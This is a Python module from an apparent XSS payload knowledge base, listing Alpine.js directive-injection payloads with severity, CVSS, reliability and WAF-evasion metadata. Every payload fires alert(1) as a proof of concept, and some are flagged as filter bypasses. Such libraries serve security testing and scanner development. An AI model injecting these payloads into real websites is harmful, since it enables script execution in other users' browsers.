#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Active
Telegram: https://t.me/EasyProTech

Alpine.js Framework XSS Payloads
Alpine.js uses x-* directives that can be exploited for XSS.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


ALPINE_PAYLOADS = {
    # === x-data Directive Injection ===
    "alpine-x-data-basic": PayloadEntry(
        payload='<div x-data="{ xss: alert(1) }"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js x-data directive with immediate execution",
        tags=["alpine", "framework", "x-data", "directive"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-x-data-init": PayloadEntry(
        payload='<div x-data x-init="alert(1)"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js x-init for immediate code execution",
        tags=["alpine", "framework", "x-init", "init"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-x-data-function": PayloadEntry(
        payload='<div x-data="{ init() { alert(1) } }"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js init function in x-data",
        tags=["alpine", "framework", "x-data", "function"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    # === Event Directives ===
    "alpine-x-on-click": PayloadEntry(
        payload='<button x-data x-on:click="alert(1)">Click</button>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js x-on:click event handler",
        tags=["alpine", "framework", "x-on", "event"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-at-click": PayloadEntry(
        payload='<button x-data @click="alert(1)">Click</button>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js @click shorthand event handler",
        tags=["alpine", "framework", "shorthand", "event"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-x-on-load": PayloadEntry(
        payload='<div x-data x-on:load.window="alert(1)"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.CRITICAL,
        cvss_score=8.0,
        description="Alpine.js window load event - auto-executes",
        tags=["alpine", "framework", "x-on", "window", "auto"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    # === x-text and x-html ===
    "alpine-x-html": PayloadEntry(
        payload='<div x-data="{ content: \'<img src=x onerror=alert(1)>\' }" x-html="content"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.CRITICAL,
        cvss_score=8.5,
        description="Alpine.js x-html directive for HTML injection",
        tags=["alpine", "framework", "x-html", "injection"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-x-text-bypass": PayloadEntry(
        payload="<div x-data x-text=\"$el.innerHTML='<img src=x onerror=alert(1)>'\"></div>",
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js x-text bypass via $el",
        tags=["alpine", "framework", "x-text", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Magic Properties ===
    "alpine-el-magic": PayloadEntry(
        payload="<div x-data x-init=\"$el.innerHTML='<img src=x onerror=alert(1)>'\"></div>",
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js $el magic property abuse",
        tags=["alpine", "framework", "magic", "$el"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-refs-magic": PayloadEntry(
        payload='<div x-data x-ref="xss" x-init="$refs.xss.innerHTML=\'<img src=x onerror=alert(1)>\'"><span x-ref="xss"></span></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js $refs magic property abuse",
        tags=["alpine", "framework", "magic", "$refs"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-dispatch": PayloadEntry(
        payload='<div x-data x-init="$dispatch(\'click\', {bubbles:true})" @click.window="alert(1)"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js $dispatch for event triggering",
        tags=["alpine", "framework", "magic", "$dispatch"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === x-bind Directives ===
    "alpine-x-bind-href": PayloadEntry(
        payload="<a x-data x-bind:href=\"'javascript:alert(1)'\">Click</a>",
        contexts=["alpine", "html_content", "url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js x-bind:href javascript protocol",
        tags=["alpine", "framework", "x-bind", "href"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-colon-href": PayloadEntry(
        payload="<a x-data :href=\"'javascript:alert(1)'\">Click</a>",
        contexts=["alpine", "html_content", "url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js :href shorthand javascript protocol",
        tags=["alpine", "framework", "shorthand", "href"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    "alpine-x-bind-onclick": PayloadEntry(
        payload="<button x-data x-bind:onclick=\"'alert(1)'\">Click</button>",
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js x-bind to onclick attribute",
        tags=["alpine", "framework", "x-bind", "onclick"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    # === x-effect and x-watch ===
    "alpine-x-effect": PayloadEntry(
        payload='<div x-data="{ trigger: true }" x-effect="trigger && alert(1)"></div>',
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js x-effect reactive execution",
        tags=["alpine", "framework", "x-effect", "reactive"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    # === Alpine.js v3 Specific ===
    "alpine-v3-store": PayloadEntry(
        payload="<div x-data x-init=\"Alpine.store('xss', { run() { alert(1) } }); Alpine.store('xss').run()\"></div>",
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js v3 global store abuse",
        tags=["alpine", "framework", "v3", "store"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "alpine-v3-plugin": PayloadEntry(
        payload="<script>document.addEventListener('alpine:init', () => { alert(1) })</script>",
        contexts=["alpine", "html_content", "javascript"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js v3 init event hook",
        tags=["alpine", "framework", "v3", "init", "event"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=False,
    ),
    # === Template Injection ===
    "alpine-template-literal": PayloadEntry(
        payload='<div x-data x-text="`${alert(1)}`"></div>',
        contexts=["alpine", "html_content", "template"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js template literal injection",
        tags=["alpine", "framework", "template", "literal"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "alpine-constructor": PayloadEntry(
        payload="<div x-data x-init=\"[].constructor.constructor('alert(1)')()\"></div>",
        contexts=["alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js constructor chain bypass",
        tags=["alpine", "framework", "constructor", "bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
}

# === Alpine.js Extended Payloads ===
ALPINE_EXTENDED_PAYLOADS = {
    "alpine-ext-persist": PayloadEntry(
        payload='<div x-data="{ value: $persist(\'<img src=x onerror=alert(1)>\') }" x-html="value"></div>',
        contexts=["alpine_extended", "alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js persist plugin XSS",
        tags=["alpine", "extended", "persist", "plugin"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "alpine-ext-mask": PayloadEntry(
        payload='<input x-data x-mask:dynamic="$data.mask" x-model="xss">',
        contexts=["alpine_extended", "alpine", "html_content"],
        severity=Severity.MEDIUM,
        cvss_score=5.0,
        description="Alpine.js mask plugin",
        tags=["alpine", "extended", "mask", "plugin"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "alpine-ext-intersect": PayloadEntry(
        payload='<div x-data x-intersect="alert(1)">XSS</div>',
        contexts=["alpine_extended", "alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Alpine.js intersect plugin auto-trigger",
        tags=["alpine", "extended", "intersect", "plugin"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "alpine-ext-collapse": PayloadEntry(
        payload='<div x-data="{ open: true }" x-show="open" x-collapse x-init="$el.innerHTML=\'<img src=x onerror=alert(1)>\'">Content</div>',
        contexts=["alpine_extended", "alpine", "html_content"],
        severity=Severity.HIGH,
        cvss_score=7.0,
        description="Alpine.js collapse plugin XSS",
        tags=["alpine", "extended", "collapse", "plugin"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
}

ALPINE_PAYLOADS_TOTAL = len(ALPINE_PAYLOADS) + len(ALPINE_EXTENDED_PAYLOADS)
